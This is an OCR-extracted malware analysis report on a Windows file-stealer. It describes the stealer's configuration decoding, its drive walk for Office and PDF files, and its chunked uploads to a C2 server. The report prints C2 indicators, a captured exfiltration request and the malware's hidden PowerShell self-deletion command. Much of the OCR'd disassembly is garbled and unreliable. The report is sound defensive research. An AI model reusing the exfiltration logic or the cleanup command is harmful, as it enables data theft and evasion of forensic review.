mov rax,gword ptr ss:[[rsp+30]
mov ecx,40000000
div rcx
jmp 68af2.140004C08
Xor eax,eax
add rsp,48
ret
int3

disk_space

Figure 18: Check Disk Free Space

Next the OS version and product information is collected via calls to GetVersionExA and GetProductinfo.

These calls are shown in Figure 19.
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48 :81EC E8000000 sub rsp,ES8 version
00000001400026F7 41:B8 40000000 mov r8&d,40 40:'@’
00000001400026FD BA 00300000 mov edx, 3000

0000000140002702 B9 10000000 mov ecx,10

0000000140002707 E8 C8160000 call 68af2.140003DD4

000000014000270C 48:894424 30 mov gqword ptr ss:[rsp+30], rax
0000000140002711 41:B8 9¢000000 mov r8d,9cC

0000000140002717 33D2 xor edx,edx

0000000140002719 48 :8D4C24 40 lea rcx,qword ptr ss:[Irsp+40]
000000014000271E E8 69280000 call 68af2.140004F8C

0000000140002723 C74424 40 9c000000 mov dword ptr ss:[Ersp+40[J,9cC
000000014000272B 48 :8D4C24 40 a

0000000140002730 FF15 72830000 call gword ptr ds:[<&IMP.&GetversionExA> ]
0000000140002736 48 : 804424 38 3 TU=pTT Rroroon
000000014000273B 48:894424 20 mov qword ptr ss:[Ersp+20J,rax
0000000140002740 45:33¢9 xor rod,rod

0000000140002743 45:33¢0 xor r8d,r8d

0000000140002746 885424 48 mov edx,dword ptr ss:[rsp+48]
000000014000274A 8B4C24 44 edopte oo Trso il]
000000014000274E FF15 E4820000 call gword ptr ds:[<&IMP.&GetProductInfo> ]
0000000140002754 48:8B4424 30 ’ .

0000000140002759 8B4C24 44 mov ecx,dword ptr ss:[rsp+44]

Figure 19: Gather OS Version and Product Information

Malware Configuration

After the environment information has been collected, the malware configuration strings are then
decoded. As opposed to the stack strings used in the import resolution process, the configuration strings
are normal strings in the .data section as shown above. All of these strings have a trailing "mOrxxxx"
string. Interestingly this additional data does not cause problems for the decoding process. The reason
for this is the decoding function works on a null terminated string. Examining the encoded strings closely,
this null termination can be seen before the additional characters. An example of this null termination in a
configuration string is shown in Figure 20.

@ | 0000000140005F37 48:C74424 28 0000000 mov qword ptr ss:rsp+280,0

e || 0000000140005F40 E8 67FLFFFF call <68af2.resolve_imports>

@ | 0000000140005F45 B9 E8030000 mov ecx,3E8

e | 0000000140005F4A FF15 08210000 call qword ptr ds:[<&Sleep> ]

e | 0000000140005F50 E8 OBFCFFFF 3 683 olle eny_info
RIP e 8l 0000000140005F55 48 :8D0D A4400000 0 ds : 114000A000 1

@ E8 48050000 c <68ar2.decode_string>

ol =0 GbUIVLLY | P SRttt e T
rcx=30 '0°'

gword ptr ds:[68af2.000000014000A000]=6F7276AAFFFEFCFB
.text:0000000140005F55 68af2fexe:$5F55 #5355

Uy Dumpl @Y Dump2 idoump3 @iy Dump4 @ Dump5 @ watch1  [x=] Locals 7 struct
Address Hex

ASCII
000000014000A000 |FB FC FE AA /6 72 6F|/73 66 6A 4D|/1 /5 6F 39| Uupy2MLQ Mguo9
000000014000A010 (7C 75 7E /00|07 6D 4F 72|78 78 78 78|00 00 00 00 |u~...
000000014000A020 (FB FC FE FF|AA 4E 71 7D|6D 71 72 68|37 3E 38 3B | (Upy™Ngrmq >8;
000000014000A030 |2C 35 65 78|7E 75 81 8A|87 35 64 6B|38 4A 4A 49| ,5ex~u...5dk83JI
000000014000A040 |(4C 58 3E 76|6F 78 58 57|4D 45 67 97|98 95 8F 82 LX)VO%XﬁﬂEg .....

..Y.® gTfkcimXa. .

000000014000A050 |91 8F 79 98|A4 60 67 66|6B 63 69 6D|58 61 85 83

Figure 20: Null Termination

An example of this null termination in a stack string is shown in Figure 21.
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140002b1fT
140002b24
140002b29
140002b2e
140002b33
140002b38
140002b3d
140002b42
140002b47
140002b4c
140002b51
140002b56
140002b5b
140002b60
140002b65
140002b6a
140002b6f
140002b74
140002b79
140002b7e
140002b83
140002b88
140002b&d

byte
byte
byte
byte
byte
byte
byte
byte
byte
byte
byte
byte
byte
byte
byte
byte
byte
byte
byte
byte
XY

Lrsp+@x4b
[rsp+Ox4c
[rsp+0x4d
[rsp+@x4e
[rsp+Ox4f
[rsp+0x50
[rsp+@x51
[rsp+0x52
[rsp+0x53
[rsp+0x54
[rsp+0x55
[rsp+0x56
[rsp+@x57
[rsp+0x58
[rsp+0x59
[rsp+@x5a
[rsp+0x5b
[rsp+0x5c
[rsp+0x5d
[rsp+0x5e
[rsp+0x40

decode_string

rdx,

Figure 21: Null Termination in Stack String

[rsp+0x40

{var_4d}],
{var_4c}],
{var_4b}],
{var_4a}],
{var_49}],
{var_48}],
{var_47}],
{var_46}],
{var_45}],
{var_44}],
{var_43}],
{var_42}],
{var_41}],
{var_40}],
{var . 31},
{var_3e}],
{var_3d}],
{var_3c}],
{var_3b}],
{var_3a}],
{var_58}]

{var_58}]

The configuration strings for one particular sample 12 are shown in Figure 22.

0000000140001D02 FF15 50630000 eall gword ptr ds: [<&51eep>]

0000000140001008 E8 97350000 call 934c5.1400052A:

000000014000100D 48 :8D0D EC820000 lea rcx,qword ptr dS [14000A000 ] |rcx:"GET", 0000000140004000: "uploadFile. php"

0000000140001014 E8 E3470000 call 934c5. 1400064FC

0000000140001019 48 :8D0D A8830000 lea rcx,qword ptr ds [14000A0c8 ] |rcx:"GET", 000000014000A0CS: "huve3fn298vmfu293iKvFDsfvijfe893"
0000000140001D20 E8 D7470000 gany 934cs. 3.400064 -

0000000140001D25 48 :8D0D D4820000 lea rcx,qword ptr ds [14000A000 ] |rcx:"GET", 000000014000A000: "uploadFile.php"

0000000140001D2C E8 27330000 calll 934c5. 1400050

0000000140001D31 48 :8905 988C0000 mov qword ptr ds: [14000.1\900] rax | 000000014000A9D0: &L" up'loadFﬂe php", rax:"GET"
0000000140001D38 48 :8D0D E1820000 lea rcx,qword ptr ds: [14000A020] rcx: "GET", 000000014000A020: "Mozi1la/5.0 (wWwindows NT 10.0: Win64: x64;
0000000140001D3F E8 B8470000 calll 934c5. 1400064FC

0000000140001D44 48:8D0D 5D830000 lea rcx,qword ptr ds:[14000A0A8 1 |rcx:"GET", 000000014000A0A8:"51.161.82.135"

0000000140001048 E8 AC470000 call 934c5. 3.400064FC

0000000140001D50 48 :8D0D 19840000 lea rcx,qword ptr ds:[14000A170] |rcx:"GET", 000000014000A170:"POST"

0000000140001D57 E8 A0470000 call 934:5.3.400064FC

0000000140001D5C 48 :8D0D 1D830000 lea rcx,qword ptr ds:[14000A080] |rcx:"GET", 000000014000A080:"GET"

0000000140001D63 E8 94470000 €all 934c5.1400064FC —

[0000000140001065 | E8 GBFBFFFF call 934c5.140001808

Figure 22: Decoded Configuration Strings

The second configuration string from the top in Figure 22 above is used in a field called "key" in the C2
traffic along with the exfiltrated data. Each of the samples analyzed here have different key strings. The
following table shows each of these strings along with the first five characters of the SHA256 hash of the
file the string was collected from.

SHA256 Prefix Key

dccda 46rnyegq235etnerhgf4 3trrthgbfRYdfnhg
68af2 8953n7b8ewurdfb3njnyuridrwdb
934c5 huve3fn298vmfu293jKVFDSfvijfe893
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a7cfo huve3fn298vmfu293jKVFDSfvjjfe893

8cfd5 3f9n8uv0n43809vn3d092v09290

Exfiltration

The data exfiltration process starts by enumerating the logical drives that are available on the victim's
computer. This is determined using a call to GetLogicalDriveStringsW and is shown in Figure 23.

0000000140005C7C 48:83EC 48 sub rsp,48

0000000140005C80 41:8B8 40000000 mov r&d,40 40:'@’
0000000140005C86 BA 00300000 mov edx, 3000

0000000140005C88B B9 90010000 mov ecx,190

0000000140005c90 E8 3FELFFFF call e8af2.140003DD4

0000000140005¢95 48:894424 30 mov qword ptr ss:[[rsp+300J,rax [rsp+30]:L"C:\\"
0000000140005C9A 48:885424 30 mov rdx,qword ptr ss:[[rsp+30] [rsp+30]:L"C:\\"
0000000140005C9F B9 64000000 Tl VARP- VoL VA el 64:'d’
0000000140005CcA4 FF15 A6230000 call gword ptr ds:[<&GetLogicalDrivestringsw> ]l

0000000140005CAA 894424 20 Ot Pt —SS . LT SP T2, 20X

0000000140005CAE 48:C74424 28 0000000(¢ mov gword ptr ss:[rsp+28],0

0000000140005¢cB7 ~ EB OE jmp 683f2.140P05CC7 . .

<

Gly Dump 1 g4y Dump 2 2% Dump 3 gdy Dump 4 g%y Dump 5 "3_?5:‘ Watch 1 [x=] Locals }’ Struct

Address lHax ASCIT . I
00000000001EQ000( 431 00 3A 00[5C 00 00 00|44 00 3A 00/5C 00 00 OO[C.:.\...D.:.\.J.
00000000001E0010 Seo=to=to=v0 T OU—CU—O0=OU T Uo—CtrU—or—ooororUrTrfrm -
00000000001E0020 |00 00 00 00|00 00 OO OO|00 OO0 00 00|00 00 00 OO ..o veveennnnnn
00000000001E0030 |00 00 00 00|00 00 00 00(00 00 00 00|00 00 00 OO .....ovuvuuuunnnn

Figure 23: Determine Available Logical Drives

For each of these logical drives, a function is called that walks the file system searching for targeted files
and exfiltrating them. This walk function interestingly is recursive. This recursion is shown in Figure 24.

+ Code References {2}

{1} 140005ce® 488 ¢] rax, qword [rsp+0x30 {var_18}]

[G» 146991eba call UV A 140005ce5 ¢ C rcx, qword [rsp+0x28 {var_20}]
” 140005cea : ] rax, [rax+rcx*2]

= et {1} 140005cee rcx, rax
[=}» 140005cf1 call walk_drives 140005¢f1 e walk_drives

v walk_drives

» Type References {1} 140005cf6 ebc UX 140UU5CbY

140005cf8 - 0] rax, qword [rsp+0x30 {var_18}]

140005cfd : rsp, 0x48
140005d01 c3 {__return_addr}

Figure 24: Walk Function Recursion

The first steps taken in the walk drives function is to add an asterisk to the path that is the input of the
function. This is numbered "1" below. Then memory is allocated twice in a row. This is numbered "2"
below. The string with the trailing asterisk is then written to one of the two allocated memory locations.
This is numbered "3" below. Finally, this string is used to call "FindFirstFileW" with the second allocated
memory location as the output location that receives the structure resulting from the API call. These are
all shown in Figure 25.
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0000000140001DEO 48:894c24 08 mov gword ptr ss:[[rsp+8], rcx walk_drives
0000000140001DES5 48 :83EC 48 sub rsp,48

0000000140001DE9 48:884C24 50 mov rcx,qword ptr ss:|[rsp+50] [rsp+50] :L"C:\\*"
0000000140001DEE E8 D93B0000 call <68af2.add_asterisk> 1

0000000140001DF3 41:88 40000000 mov r&8d,40 40:'@’
0000000140001DF9 BA 00300000 mov edx, 3000

0000000140001DFE B9 50020000 mov ecx,250

0000000140001E03 E8 CC1F0000 call <68af2.allocate_memory>

0000000140001E08 48:894424 20 mov qword ptr ss:[rsp-zo],raY\

0000000140001E0D 41:B8 40000000 mov r&d,40 2 40:'@’'
0000000140001E13 BA 00300000 mov edx, 3000

0000000140001E18 B9 08020000 mov ecx, 208

0000000140001E1D E8 B21F0000 call <68af2.allocate_memory>

0000000140001E22 48:894424 28 mov gword ptr ss:[[rsp+28],rax [rspt28liil T NNE"
0000000140001E27 48:8B5424 50 mov rdx,qword ptr ss:[irsp+501 [rsp+50] L c N\
0000000140001E2¢C 48:8B4C24 28 mov_rcx,qword ptr ss:[rsp+28] [rsp+28]:L"C:\\*"
0000000140001E31 FF15 71620000 call gword ptr ds:[<&lstrcpyw> ] E;

0000000140001E37 48:885424 20 mov rdx,gword ptr ss:[rsp+20]

0000000140001E3C 48:8B4C24 28 mov rcx,qword ptr ss:[rsp+28] [rsp+28] :L"C:\\*"
0000000140001E41 FF15 F1620000 call qgword ptr ds:[<&FindFirstFilews> ]tl

0000000140001E47 48:894424 30 mov gword ptr ss:[frsp+30], rax

0000000140001E4C 48:837C24 30 FF cmp gword ptr ss:|[irsp+30J|, FFFFFFFFFFFFFFFF

0000000140001E52 ~ OF84 E2000000 je 68af2.140001F3A

Figure 25: Finding Files

As the malware walks the file system, any files that contain one of the following strings in the filename

are exfiltrated.

.doc xls .pdf

.docx .xlsx

Interestingly, the algorithm used to find these files is probably not what the adversary expected. Rather
than checking for a file extension as a suffix it actually matches any infix of the above strings. Because of
this, any file with .xIsx will already match .xls for example. These target file extensions are shown in
Figure 26.

140008160 0O 0O 00 00 0G 0O 00 00-P0 OO0 G0 0O @0 60 00 00

140008170

char const data_140008170[0x1b] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ", @

14000818b 00 2e 00 00 00-2e 6O 2e 0O 0O 0O GO 00-2e 00 64 0O 6T 00 63 00
1400081a0 00 0O €0 00 00 00 00 00-2e 00 64 00 6T GO 63 0O-78 €0 0O OO 6@ 00 00 0O-2e 00 78 OO 6c 00 73 0O
1400081ce 0O 00 @0 Q@ 00 @0 00 00-2e 0O 78 0O 6Cc @O 73 0O-78 0O 0P 00 OO Q@O0 00 0B-2e 0O 70 OO 64 GO 66 0@
1400081e®0 00 0O 00 00 00 00 0O 0O

1400081e8 char const data_1400081e8[0x11] = "NtCreateThreadEx", ©

Figure 26: Target File Extensions

Next the file size is determined using a call to GetFileSize. This information is included in the exfiltrated
data. The API call is shown in Figure 27.
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000000014000598F (de

0000000140005990 48:894C24 08
0000000140005995 48:83EC 38
0000000140005999 33D2
0000000140005998B 48:884C24 40
00000001400059A0 FF15 EA260000
00000001400059A6 894424 20
00000001400059AA 817cC24 20 00127A00
00000001400059B2 76 OE
0000000140005984 817C24 20 10270000
00000001400059BC 73 04
000000014000598BE 33c0
00000001400059¢0 EB 04
00000001400059C2 884424 20
00000001400059¢C6 48:83c4 38
00000001400059CA Cc3

Figure 27: Determine File Size

int3

mov qword ptr ss:l[rsp+87,rcx
sub rsp,38

Xor edx,edx

jbe 68af2.1400059C2

cmp dword ptr ss:[irsp+20[,2710
jae 68af2.1400059¢C2

Xor eax,eax

jmp 68af2.1400059C6

mov eax,dword ptr ss:[rsp+20]
add rsp,38

ret

As the file system walk proceeds, the path strings are emitted as debug strings via a call to
OutputDebugStringW. This is followed immediately by bytes for a Windows carriage return line feed.

Ica'l'l gword ptr ds:[<&GetFileSize> ]l
rd pLr o L opT20d,eax

cmp dword ptr ss:|[rsp+20],7A1200

These two are shown in Figure 28.

0000000140001EES v 75 02
0000000140001EE7 v EB 2E
0000000140001EE9 48 :884C24 50
0000000140001EEE FF15 6C610000
0000000140001EF4 48 :8D0D 31640000
0000000140001EFB FF15 5F610000

0000000140001F06
0000000140001F0A

48:884424 20
48:83¢C0 2¢C
48 :88D0

ine 68af2.140001EE9
imp 68af2.140001F17

mov rcx,qword ptr ss:[lrsp+500

gall gqword ptr ds:
lea rcx,qword ptr
call qword ptr

[<&OutputDebugstringw> ]
: [14000832C ]
<&OutputDebugStringw> ]
ss:[rsp+20]

[rsp+50]:L”C:\\PerfLogs\\*"1

0000000140001F0D

<

48 :884C24 50

X ,qword ptr

ol fa aanAnnea

ss:[irsp+50]

[rsp+50] :L"C:\\PerfLogs\\*"

@ Dumpl @4 Dump 2

Address

@ Dump 5

Wy Dump 4

‘;ﬁ" Watch 1

|x=] Locals 3’ Struct

| AscII |

HeXx
000000014000832C D 00 OA 0O

78 65 20 2D
6E 20 2D 43

000000014000833C
000000014000834C
000000014000835C

00 00 00 00
70 6F 77 65
6E 6F 70 20
20 22 24 70

00 00 00 00
72 73 68 65
2D 77 20 68
70 69 64 20

Figure 28: Emit Debug Strings

00 00 00 00
6C 6C 2E 65
69 64 64 65
3D 20 28 67

xe

..powershell.e

n -C "$ppid = (a

-nop -w hidde

This malware can exfiltrate large files. It does this by dividing the file into chunks according to a hard
coded "frame size". This hard coded size is 32535 bytes and is highlighted in Figure 29.
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140004218 r8, [rel data_14000al110]

1400042ff rdx, [rel data_1400082ac]

140004306 : rcx, qword [rsp+0x20 {var_58}]
14000430b sub_140005d68

140004310 r8, qword [rsp+®x30 {var_48}]
140004315 rdx, [rel data_1400082b8] {"data"}
14000431c ! rcx, qword [rsp+0x20 {var_58}]
140004321 sub_140005d68

140004326 ) r8d, 0Oxa

14000432c rdx, qword [rsp+0x28 {var_50}]
140004331 rax, gqword [rsp+0x88 {arg_10}]
140004339 ! rcx, gword [rax+0x18]

14000433d sub_140002824

140004342 } r8, qword [rsp+0x28 {var_50}]
140004347 ! rdx, [rel data_1400082c®] {"filesize"}
14000434e 42 rcx, gword [rsp+0x20 {var_58}]
140004353 sub_140005d68

140004358 réd, Oxa

14000435e rdx, qword [rsp+0x28 {var_50}]
140004363 ecx, Ox7f17

140004368 sub_140002824

14000436d r8, qword [rsp+0x28 {var_50}]
140004372 rdx, [rel data_1400082d0] {"framesize"}
140004379 rcx, qword [rsp+0x20 {var_58}]
14000437e : sub_140005d68

140004383 ¢ 0 eax, dword [rsp+0x90 {arg_18}]
14000438a réd, Oxa

140004390 rdx, qword [rsp+0x28 {var_50}]
140004395 ecx, eax

140004397 sub_140002824

14000439c } r8, qword [rsp+0x28 {var_50}]
1400043al rdx, [rel data_1400082e0] {"framenum"}
1400043a8 : rcx, qword [rsp+0x20 {var_58}]
1400043ad : sub_140005d68

1400043b2 r8d, Oxa

1400043b8 5 rdx, qword [rsp+@x28 {var_50}]
1400043bd rax, gword [rsp+0x88 {arg_10}]
1400043c5 ! rcx, qword [rax+0x8]

1400043c9 sub_140002824

1400043ce } r8, qword [rsp+0x28 {var_50}]
1400043d3 3 rdx, [rel data_1400082f0] {"filecrc"}
1400043da jc2 rcx, gword [rsp+0x20 {var_58}]
1400043df sub_140005d68

1400043e4 }: rax, qword [rsp+@x88 {arg_10}]
1400043ec r8, qword [rax]

1400043ef OE rdx, [rel data_1400082f8] {"filename"}
1400043f6 ! rcx, gword [rsp+0x20 {var_58}]
1400043fb 0¢ sub_140005d68

140004400 r8, qword [rel data_14000aad0]
140004407 rdx, [rel data_1400082b0] {"pcname"}
14000440e rcx, qword [rsp+0x20 {var_58}]
140004413 sub_140005d68

Figure 29: Frame Size

The above also shows all the other fields that are used in the C2 traffic. The frame number starts at "-0"
then "1", "2" etc. The "filecrc" field is the cyclic redundancy check (CRC) which is used as a checksum for
error detection 12. The last two fields are the filename and the computer name.
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Using a constructed test file named "testfile.doc" the TLS encrypted C2 traffic is intercepted and
analyzed using Burp 15 and Inetsim 1. The body parameters and the request headers from this test file

are shown in Figure 30.

Request

Pretty Actions v
POST /uploadFile.php HTTP/1.1
Accept: text/html
Content-Type:

Raw R

W h =

§iY

AppleWebKit/537.36 (KHTML, like Gecko)

discord/0.0.309 Chrome/83.0.4103.122 Electron/9.3.5

Safari/537.36

Host: figures.pablotech.info
Content-Length: 172
Connection: close
Cache-Control: no-cache

0o~ & W

—
[ {e]

key=8953n7bBewurdfb3njnyuridrwdb&data=

AOmUmUMn jZsz ZtKwKRMQ&T11esize=11&f ramesize=32535&
framenum=-0&filecrc=4676582983774588338&f1lenane=

testfile.doc&pcname=DESKTOP

application/x-www-form-urlencoded
User-Agent: Mozilla/S.0 (Windows NT 10.0; WONG4)

INSPECTOR

Body Parameters (2}

NAME

key

data
filesize
framesize
framenurm
filecre
filename

pcname

VALUE
295:3n7bSewurdfb3njnyuridrwdb
AOmUmMUMnjZszZtkwkKRMQ

1431

82535

-0

46765829837745688338
testfile.doc

oeskTor J N

Request Headers (7]

NAME

Accept
Content-Type
User-Agent
Host
Content-Length
Connection

Cache-Control

VALUE

text/html

application-www-form-urlencoded
Mozilla/5. 0 (Windows WT 10.0; WOWS4) Applet
figures.pablotech.info

172

close

no-cache

Figure 30: Test Document Shown Being Exfiltrated in C2 Network Traffic

Interestingly, the configuration strings include "GET" in addition to "POST". However, this capability does

not appear to be used in these samples. A check is performed which determines which of the two

request methods are used. This check is shown at the top of Figure 31. The POST and GET options are

shown in the center, and the call to HitpOpenRequestW is shown at the bottom.

0000000140002CA9 48:884C24 68 mov rcx,gword ptr ss:[rsp+68]

0000000140002CAE FF15 c47p0000 €all gword ptr ds:[<&InternetConnectw> ]

0000000140002CB4 48:894424 60 mov qword ptr ss:[rsp+60J, r‘ax

0000000140002CB9 48 :837c24 60 00 cmp gword ptr ss:[Ersp+60],0

0000000140002CBF OF84 B6010000 je 68af2 140002573

0000000140002¢cC5 48 :8D05 30550000 lea rax,gword ptr ds: [14DOOBlFC] rax:L"POST"
0000000140002CCC 48:894424 50 mov qword ptr ss:fBrsp+50Q,r [rsp+50]:L"POST"
0000000140002¢p1 48:8005 28550000 lea rax,gword ptr ds: [140008200] rax:L"POST", 0000000140008200:L"t
0000000140002CD8 48:894424 78 mov qword ptr ss:[@rsp+78Q, rax [rsp+78]:L"text/html"
0000000140002CDD 48:c78424 80000000 0(mov gword ptr ss:[rsp+80

0000000140002CE9 OFB68424 BR00000O0 movzx eax,byte ptr ss:[rsp+B

0000000140002CF1 test eax,eax eax:L"POST"
0000000140002CF3 je 68af2.140002D1D

0000000140002CF5 'ﬁamn— eax:L POST"
0000000140002CFA 48 :6BCO 00 imul rax,rax,0 rax:L"PoOST"
0000000140002CFE 48 :800D 23550000 Tea rcx,qword ptr ds: [140008228] 0000000140008228 : L"text/htm1"
0000000140002D05 48:894C04 78 mov qword ptr ss:[Qrsp+rax+78],r

0000000140002D0A 48:8D0D 9F740000 lea rcx,gword ptr ds: [14000A150] 000000014000A1B0: "POST"
0000000140002D11 E8 FA1E0Q000 call 68&1’2 140004c10

0000000140002D16 48:894424 50 mov qword ptr ss:[Qrsp+500, rax( nameebdeed' POS T
000000014000 EB 11 qmp 68af2.140002D2E

0000000140002D1D 48 :8D00D 9C730000 ea_ rcx,gword ptr ds.[l4000A0cO]( i "GET"
0000000140002D24 E8 E71E0000 call Gisa 2.140004c10

0000000140002D29 48:894424 50 mov qword ptr ss:[Brsp+50Q, rax [rsp+50] :L"POST"
0000000140002D2E 48:c74424 38 0100000(¢ mov qword ptr ss:[rsp+38],1

0000000140002D37 C74424 30 8031c000 mov dword ptr ss:[Qrsp+30],c03180

0000000140002D3F 48 :8D4424 78 lea rax,qword ptr ss:[rsp+78] [rsp+78] :L"text/html"
0000000140002D44 48:894424 28 mov qword ptr ss:[rsp+287,rax

0000000140002049 48:C74424 20 0000000(¢ mov qword ptr ss:[rsp+20],0

0000000140002D52 45:33¢9 xor r9d,ro9d

0000000140002D55 4C:8B8424 AOOOOOOD mov r8,qword ptr ss:[Ersp+a0j [r5p+AO]:L up'loadFﬂE php"
0000000140002D5D 48 :885424 mov rdx,gword ptr ss:[Brsp+50] [rsp+50] :L"POST"
0000000140002062 48 :884C24 2 e

0000000140002D67 FF15 43?00000 all qword ptr ds:[<&HttpOpenRequestw> ]|

0000000140002D6D 48:894424 48 ordTpTT STETSPTRsN Tax

Figure 31: Request Method Options
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The algorithm used to determine which files are exfiltrated is flawed in that it will match files that are not
Word, Excel, or PDF documents. It will exfilirate any file that contains the target strings anywhere in the
filename. A test of this is shown in Figure 32 which uses a fake file with the extension ".txt" and ".pdf" in
the middle of the filename.

Body Parameters (g)

MNAME VALUE

key 8953n7b8ewurdfb3njnyuridrivdb
data AOmUmMUMPiA==

filesize 4

framesize 32535

framenum -0

filecre -

filename this_is_not.Edfv]t—i s-text. txt
pcname peskTor

Figure 32: Unexpected Exfiltration

After all the filesystem walking has completed, the next function called sends a dummy "end of
transmission" file out to the C2. The filename of the file is ".lock" and the content is "locked". This file only
exists in memory and network traffic. It is not written to the filesystem. The strings for this dummy file are
shown in Figure 33.

sub_1400044b8:

1400044b8 rsi {__saved_rsi}

1400044ba rdi {__saved_rdi}

1400044bb rsp, Oxf8

1400044c2 dword [rsp+0x20 {var_e8}], 0x0@

1400044ca rax, [rel data_140008304] {"locked"}

1400044d1 qword [rsp+0x68 {var_a0}], rax {data_140008304, "locked"}

1400044d6 gword |rsptoxfo {var_98}], Oxr

1400044df gword [rsp+0x38 {var_d0}], Ox1

14000448 qword [rsp+0x48 {var_c0}], 0Ox7

140004411 qgword [rsp+0x40 {var_c8}], 0Ox1

1400044fa rax, [rel data_14000830c] {".lock"}

140004501 qword [rsp+0x30 {var_d8}], rax {data_14000830c, ".lock"}
140004506 rax, [rsp+Oxa® {var_68}]

14000450e rcx, [rsp+0x30 {var_d8}]

Figure 33: Dummy File Strings

This dummy file as seen in the network traffic is shown in Figure 34.
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Body Parameters (8)

NAME VYALUE

key 8953n7b8ewurdfb3njryuridrwdb
data w

filesize 7

framesize 32535

framenum -0

filecrc 1

filename lock

pchame peskror N

Figure 34: End of Transmission Dummy File

After all of the above is finished, the last action taken by the samples is to run a PowerShell command
from a string. This command gets the process ID of the parent process of the command itself. It uses that
process ID to kill the malware's process. It then deletes the malware file from the filesystem. This is to
clean up after the data exfiltration is complete. The command is executed by a call to CreateProcessA as
shown in Figure 35.

sub_1400050d0:

1400050d0 rsp, Oxe8

1400050d7 r8d, Ox68

1400050dd edx, edx {exe}

1400050df rcx, [rsp+0x70 {var_78}]

1400050e4 sub_140004f8c

1400050e9 réd, ox18

1400050ef edx, edx {0x0}

14000501 rcx, [rsp+0x58 {var_90}]

1400050f6 sub_140004f8c

1400050fb ¢ dword [rsp+@x70 {var_78}], ©x68
140005103 rax, [rel data_140008340] {"powershell.exe -nop -w hidden -C."}
14000510a qword [rsp+0x50 {var_98}], rax {data_140008340, "powershell.exe -nop -w hidden -C." }
14000510f rax, [rsp+0x58 {var_90}]

140005114 qword [rsp+0x48 {var_a@}], rax {var_90}
140005119 rax, [rsp+0x70 {var_78}]

14000511e qword [rsp+0x4@ {var_a8}], rax {var_78}
140005123 gword [rsp+0x38 {var_be}], oxe
14000512c qgword [rsp+0x30 {var_b8}], 0x0
140005135 dword [rsp+0x28 {var_c0}], 0x@
14000513d dword [rsp+ex20 {var_c8}], oxe@
140005145 rod, rod {exe}

140005148 r8d, r8d {exe}

14000514b rdx, gword [rsp+@x50 {var_98}] {data_140008340, "powershell.exe -nop -w hidden -C." }
140005150 ecx, ecx {0x0}

140005152 qword [rel CreateProcessA@IAT]
140005158 edx, Oxffffffff

14000515d rcx, qword [rsp+@x58 {var_90}]
140005162 gword [rel WaitForSingleObject@IAT]
140005168 rsp, Oxe8

14000516 {__return_addr}

Figure 35: PowerShell Cleanup Command

The full text of the PowerShell command is shown in Figure 36.
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powershell.exe -nop -w hidden -C "$ppid = (gwmi win32_process | ? processid -eq
$PID).parentprocessid; $proc = Get-Process -FileVersioninfo -Id $ppid; Stop-Process -Force
-ErrorAction SilentlyContinue -Id $ppid; $buff = [byte[]]@(, 0 * 1mb); Set-Content -Path
$proc.FileName -Force -Confirm:0 -Value $buff; Remove-ltem -Path $proc.FileName -Force
-Confirm:0 "

PowerShell Command

Evolving Variants

The earliest observed variant of this malware family was compiled on April 24th, 2021 according to the
PE header TimeDateStamp field. It was then first seen in the Titanium Platform on April 25th, 2021. This
earliest variant did not include the PowerShell cleanup that was used in the later two variants. The
comparison of the older sample 18 and the newer sample 12 analyzed using Relyze 22 is shown in Figure
36.

A: decdaexe FLOW PSEUDO = B:6Baf2.exe

void __cdecl pISMBIELLEEh ( void )

{

unsigned int local_oxCg;

unsigned int local_oxCo;

unsigned __inté4 local_exB8;
unsigned __inté4 local_0xBO;
unsigned __int6d4 local_0xA8;
unsigned __int64 local_oxA@;
unsigned __int64 local_@x98;
unsigned __inté4 local_&x90;

unsigned int local_0x78;

sub rsp, OxE8

mov r8d, Ox68

xor edx, edx

lea rcx, [local_ox78]

call func_0x140804F8&C 3 __int64 __cdecl( __int64 pl, char p2, int p3 )
mov ré&d, Ox18

xor edx, edx

lea rex, [local_ox90]

call func_0x140804F8C ; __int64 __cdecl( __int64 pl, char p2, tint p3 )

mov dword ptr [local_@x78], Oxp=

lea rax, [string_powershell] ; "powershell.exe -nop -w hidden -C "$ppid = (gwmi win32_process | ? processid -eq $PID).parenf|
mov gword ptr [local_6x98], r

lea rax, [local_ox90]

mov gword ptr [local_exae], rax
lea rax, [local_ox78]

mov qword ptr [local_0xA8], rax
mov gqwerd ptr [local_oxB0], Ox@
mov qword ptr [local_o0xB&],
mov dword ptr [local_exCe], ¢
mov dword ptr [local_oxC8], ©x@
xor rod, rod

xor raéd, r&d

mov rdx, qword ptr [local_0x98]

XOor ecx, ecx

call gword ptr [CreateProcessA] ; int (__cdecl *)( char * lpApplicationName, char * lpCommandLine, struct _SECURITY_ATTRIBUTE!
mov edx, OxFFFFFFFF

mov rcx, qword ptr [local_0x90]

call gword ptr [WaitForSingleObject] ; unsigned long (__cdecl *)( void * hHandle, unsigned long dwMilliseconds )

add rsp, OxE8

ret
}
Everything Equal Medified Removed Added
Difference ¥ Item Type Diff Type Item A Item B
106.006% Function Added func_0x140006474
100.00% Function Added func_8x140005C7C

100.06% Function Added func_0x140004808
Figure 36: Addition of PowerShell Cleanup Capability
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Another difference between this oldest sample and most of the newer ones is the inclusion of a program
database (PDB) path. This path is shown in Figure 37.

1400083c8 RSDS.=b.
1400083d06 Xiete Fielei] s Ol Dlereie
1400083e0 E:\work\proj\fil

140008310 e_sender\x64\fil
140008400 e_sender.pdb....
140008410

LEATATASRSY: A ATANNATANNATA

Figure 37: PDB Path String

The two newer samples have very few differences. Code-wise, there is one single function that is ~55%
different between the two. The rest of the code is identical or nearly identical. This small difference is
shown in Figure 38.

void __cdecl func_0x140005178( __inte4 pl __location(rcx), __inte4 p2 __location(rdx) ) vold __cdecl func_6x140801968( __inte4 pl __location(rcx), __intéd p2 __location(rdx) )

mov gword ptr [shadow_spacel], rex

sub rsp, ©

wov rax, guord ptr [shadow_spacei] ret
mov qword ptr [local 6x10], rax }

mov rax, qword ptr [shadow_space2]
mav gword ptr [local_ex1g), rax
mov rax, gword ptr [local 8x18]
wov rdx, quord ptr [rax]

mov rax, quord ptr [local 9x18]

mov rex, gqword per [rax]
call gword ptr [lstrempA] t decl + lpstringl, char = lpst

func_8x140061960

Ted Unc_0x148084£80
a.59% Function Mogified fune_ax140002 C18 func_0x1400848CC
1.67% Function Modified fune_Bx140003E44 fune_0x148061C4C
8.10% Function Modified func_Bx146881364 func_6x14806484C

Figure 38: Difference in Newer Samples

Another interesting difference between the two newer samples is that the newest sample does not call
back to a hostname for C2 communication. It is configured to call back to the C2 URL on a bare IP
address.

Related Malware

One function in particular that is found in each of the three samples analyzed above is the string
